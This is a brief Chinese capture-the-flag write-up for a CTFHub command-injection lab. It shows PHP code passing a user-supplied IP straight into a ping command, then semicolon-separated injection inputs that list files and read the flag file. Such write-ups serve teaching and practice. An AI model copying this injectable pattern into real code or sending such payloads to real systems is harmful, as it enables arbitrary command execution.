无过滤
<?PHP
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?PHP
if ($res) {
print_r($res);
}
?>
</pre>
<?PHP
show_source(__FILE__);
?>
</body>
</html>
观察HTML代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录
127.0.0.1;ls;
返回目录:
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => 13175248123414.PHP
[2] => index.PHP
)
查看PHP获得flag
127.0.0.1;cat 13175248123414.PHP;
flag藏在注释里
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。